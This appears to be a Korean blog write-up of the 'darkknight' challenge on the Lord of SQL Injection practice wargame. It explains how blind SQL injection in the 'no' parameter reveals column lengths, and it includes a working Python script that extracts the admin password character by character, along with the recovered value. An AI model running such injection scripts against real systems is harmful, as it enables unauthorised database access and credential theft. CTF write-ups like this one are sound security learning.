11번 문제와 비슷한 구조이나 다른점은 no라는 부분이 추가됐다.
쿼리를 보내는 구조를 보면 id=guest , pw = , no = 로 3개의 파라미터를 보내는데
그럼 대략적으로 데이터베이스의 컬럼 구조는
id | pw | no |
guest | ? | ? |
admin | ? | ? |
이런식으로 되어 있을것이라고 유추된다.
그럼 11번문제를 풀었듯 똑같이 blind sql injection으로 pw의 길이값, no의 길이값을 유추해나가야한다.
먼저 pw의 길이를 먼저 늘려나가 8자리인걸 확인했고 no의 길이값도 늘려나갔을때 1자리인것을 확인했다.
여기서 문득 든 생각이 no는 보통 넘버의 의미로 사용되는데 그럼 숫자 형태로 저장해놓지 않았을까? 해서 length(no)가 아닌 그냥 no 를 입력하여 no의 값이 1보다 큰지 입력해보았다.
no의 값을 0부터 늘려나갔더니 1보다 클시 참으로 뜨고 2보다 클 시 거짓으로뜨는것을 보아 no의 값은 2인것으로 유추가 된다. (소수점자리까지 있다고 생각하는것은 예외로 두고 유추했다.)
import requests
import string
cookies = {'PHPSESSID': 'ae0mv96v6tnir3dnbmqd5l0i5r'}
characters = string.ascii_letters + string.digits
# 패스워드의 길이를 증가시키면서 추측
for pw_len in range(1, 9): # pw 길이가 1부터 8까지
for pw_word in characters:
url = 'https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php'
# no 값에 || 조건을 추가하여 SQL 쿼리문을 우회
# mid(pw, {pw_len}, 1) like '{pw_word}' 로 추측한 각 자리의 문자 확인
no_condition = f"1 || id like \"admin\" && mid(pw, {pw_len}, 1) like \"{pw_word}\""
# no 파라미터에 위 조건을 추가하여 요청
params = {
'no': no_condition
}
# GET 요청 보내기
res = requests.get(url=url, params=params, cookies=cookies)
# 응답에서 "Hello admin"이 포함된 경우 비밀번호의 해당 자리값을 출력
if "Hello admin" in res.text:
print(f"pw의 {pw_len}번째 값은 {pw_word}입니다")
break # 해당 자리의 문자를 찾으면 다음 자리로 넘어갑니다.
따라서 전에 푼 11번 문제에서 사용한 코드에 no 파라미터만 추가해 no값을 2로 고정으로 두고 코드를 작동시켰다.
admin의 pw값은 0b70ea1f 이다.
'Lord of SQL Injection' 카테고리의 다른 글
Lord of SQL injection 13번 문제 - bugbear (0) | 2024.11.11 |
---|---|
Lord of SQL Injection 11번 문제 - golem (0) | 2024.05.15 |
Lord of SQL Injection 10번 문제 - skeleton (0) | 2024.05.13 |
Lord of SQL Injection 9번 문제 - Vampire (0) | 2024.05.13 |
Lord of SQL Injection 8번 문제 - Troll (0) | 2024.05.13 |